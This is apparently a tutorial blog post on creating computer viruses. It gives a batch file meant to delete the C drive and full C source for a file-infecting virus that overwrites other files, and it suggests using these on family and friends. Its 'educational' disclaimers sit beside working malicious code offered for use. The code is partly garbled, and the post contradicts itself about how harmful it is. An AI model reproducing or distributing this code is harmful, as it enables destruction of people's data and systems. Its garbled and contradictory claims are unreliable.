All Tricks Computer Tricks How to Windows

How To Create A Computer Virus? (3 Methods)

How to make a virus a most demanding and trending questions for all computer geeks. Today, we are sharing the best ways and methods on how to create a computer virus easily exclusive on Qd Tricks.

Nowadays, it is easy to create a virus and every second a person who is sitting with his PC or laptop creates new kind of virus in easy steps. Not only it is easy, but the different kind of virus created is quite harmful and they delete and access the various confidential information of a person.

Virus is nothing but a malicious program which enters into a system without permission and effects the data and the working of the operating system (OS). Here we have shared the best and easy ways of how to create a virus for free.

NOTE: We don’t recommend nor promote this methods. This article is solely for educational purpose only. I am no where responsible for any kind of usage of these method.

3 Methods On How To Make A Virus Easily

How to make virus

Basically, virus is of various types and kinds like Trojan horse and each of them are different and harmful too. So, have you ever thought on how to create a virus by yourself? Well, it is easy and one can create it within sixty seconds. Using an easy and simple method, you can just create a virus and create havoc. Most of you would be thinking that the method involves a lot of coding which needs to be executed. Lets also check this link to fix this copy of windows is not genuine which will help you to come out from these windows error.

However, it is different. All you need to do is simply write about 6 to 10 words to create a dangerous virus that would eventually format the drive of the PC and laptop. Here the trick on how to make a computer virus involves using the notepad and typing some of words related to batch program which would just automatically run as and when you open the PC. So, what happens is that the selected drive will get formatted and it would ultimately corrupt the OS of the PC. To prevent from this virus attack download avast antivirus and use this avast license keys and scan your computer for viruses.

Below are the 3 best methods to create a computer virus easily. Follow all the guidelines carefully before making a computer virus.

Create Virus.bat File

The following are the basic steps which are used for creating a virus in sixty seconds:

  • Open notepad present in the Windows OS.
  • Then one has to copy and paste the below given code in the given notepad screen:

@Echo off

Del C: *.* |y

how to create computer virus

  • Once that is done, then you need to the save this given file in the name as virus.bat.

how to create virus

  • Here you can select any type of random name but there should be the word “.bat” after the file name.

how to make a virus

  • Please note that this tutorial is solely for educational purpose and I am not responsible for any kind of illegal usage of this tutorial

So, while running the given file virus, it would simply delete the C drive fully and the the OS of the particular computer would get corrupted.

One thing that you need to keep in mind on how to make a virus is that this method has to be used for gaining knowledge and one must avoid using it in real environment. Make sure that you don’t try this on the PC as the C drive will be completely formatted.


Using C Programming

Another easy method of how to computer create a virus is using the C programming. This is also one of the best and easiest methods of creating a harmful virus which would corrupt the OS of the PC or laptop. In addition, you can employ this program on other drives besides C and simply fool your family members, friends and associates. Also check our recently shared article on IDM Optimizer (Increase Download Speed in IDM)

Basically, the below given C programming is a clear example of how to create a computer virus which is not harmful. The program demonstrates clearly on how to make a computer virus which executed would create a copy of the a file similar to itself and it would spread the given infection to other files present in the system. Now what happens is the other files which are present in the PC get infected and the infected file would in turn become a virus when again when executed would spread the infection to other files too. This tutorial is solely for educational purpose and I am not responsible for any kind of illegal usage of this tutorial.

The below given is the source code for the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();

VIDEO TUTORIAL


How To Create A Virus And The Algorithm Related To It

The algorithm of how to make a computer virus program is given below:

  • Check for various files in the current/given directory. If there is more than a single file, then load the one which is present in the front (i.e. it is the target file).
  • Upload the copy of the virus into the memory of the system.
  • Now open the given target file. Simply copy the virus code present in the memory and put it in the targeted file.
  • In the same manner, load the next file to infect and continue with Step 3. If all the files are attacked by the virus , you should close all the files which are open. After that upload them and exit.

NOTE: We don’t recommend nor promote this methods. This article is solely for educational purpose only. I am no where responsible for any kind of usage of these method.

Frankly, the above given details would assist you in how to create a virus and knowing more about how much deadly and dangerous it can be.

If you like these post of how to make a computer virus then you can share this tutorial with your friends and family. Just click on your favorite social media sharing option from below given list and share this amazing tutorial on your social media profile. Bookmark this page to get latest updates on it.

READ MORE
My iPhone Screen Not Turning On (Solutions)

About the author

Qd

Qadir Qd is a 27 year self-trained guy, a young part time blogger and computer experts last for five years. He is very passionate about blogging and his area of interests are SEO & Internet Marketing.

7 Comments

Click here to post a comment

Your email address will not be published. Required fields are marked *